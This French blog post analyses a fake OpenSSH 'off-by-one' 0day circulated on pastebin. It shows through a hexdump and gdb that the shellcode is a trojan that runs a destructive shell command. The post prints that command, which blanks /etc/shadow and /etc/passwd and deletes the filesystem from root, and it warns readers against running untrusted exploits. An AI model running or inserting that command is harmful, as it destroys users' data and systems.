This is not the SSH 0day you're looking for.

On m'a fait suivre un 0day SSH disponible sur pastebin. Je vous propose d'expliquer la réaction de rageguy.
Ce 0day est un fake (inutile de vous précipiter sur pastebin). Plusieurs points devraient mettre la puce à l'oreille.

Les dates sont sensiblement cohérentes:
ssh est sorti en version 5.7 le 23 janvier et 5.8 le 4 février suite à un problème de sécurité. Le Oday est daté du 26 janvier sur pastebin. On reste dans le plausible. (Il manque néanmoins des advisories critiques, à mon avis un véritable 0day aurait pour conséquence une déferlante de communiqués, blogs, tweet, conférences, etc...)

A part ça, rien d'autre ne permet d'imaginer que l'on est tombé par hasard sur un 0day. (on trouve beaucoup de choses sur pastebin, mais tout de même.)

Tout d'abord, la faille en elle-même. La release 5.8 corrige un problème de sécurité lié à la génération des certificats. En effet, un peu de données non randomisées peuvent être inclues dans un certificat. Le 0day sur pastebin indique lui une faille "Off by One error in auth2-pubkey.c". C'est donc surprenant. Un véritable correctif de sécurité chez OpenSSH qui ne corrige pas un exploit public (peut-on encore parler de 0day d'ailleurs?).

Ensuite le code C de l'exploit ressemble à des exploits classiques, c'est à dire qu'on voit un shellcode, deux trois fonctions C, puis l'appel à ce shellcode. Mais ce code là est curieux:

Tout d'abord, le 0day veut être root. Surprenant une fois de plus. A lire l'exploit, il est inutile d'être root pour lancer une connexion vers un serveur ssh. Puis la ligne 51 vérifie le nombre d'arguments, affiche un FAIL et lance automatiquement le shellcode, ce qui est encore plus étonnant (pourquoi le lancer si le nombre d'arguments est incorrect?), et exit systématiquement en erreur ligne 56. Dit autrement, ce code ne lancera jamais la ligne 59 qui pourrait correspondre au lancement de l'exploit.

Intéressons nous à ce shellcode:
Un hexdump met un premier doute sur celui-ci:
On lit clairement que le shadow et le passwd sont écrasés, puis que l'intégralité du disque depuis la racine est supprimé. La les doutes sont confirmés, ce n'est sûrement plus un 0day, mais un fake. gdb va terminer de nous convaincre:
En bref, on appelle 0xb, on push sur la pile /bin/sh -c (632d c-, puis 68732f => hs/ etc..) et on appelle à shellcode+86. A shellcode+29:
(gdb) x/s shellcode+29
0x80497bd : "echo \"\" > /etc/shadow ; echo \"\" > /etc/passwd ; rm -Rf /"

Et à shellcode+86:
(gdb) disass shellcode+86 shellcode+92
Dump of assembler code from 0x80497f6 to 0x80497fc:
0x080497f6 : push edi
0x080497f7 : push ebx
0x080497f8 : mov ecx,esp
0x080497fa : int 0x80
End of assembler dump.
(gdb)

Et on exécute (appel système linux int80h). Arrivé à ce point, rageguy se met à crier FUUUUUU car ses fichiers disparaissent, j'espère que ses sauvegardes sont à jour :-)

En cherchant où cet exploit a pu être utilisé, j'ai lu http://testpurposes.net/2011/02/04/fake-0day-exploit-para-openssh/ qui explique en espagnol la même chose.


Ce genre de faux exploit n'a rien de nouveau, j'ai en mémoire un faux exploit rsync qui supprimait le homedir. Il était mieux caché (un XOR afin qu'un hexdump n'affiche pas ses intentions), mais le principe est identique: un faux exploit lancé sur une mailing liste, un shellcode et l'utilisateur trop pressé de le lancer en est pour ses frais. As always: Ne récupérez pas des programmes n'importe où, ne lancez pas n'importe quoi et faites des sauvegardes.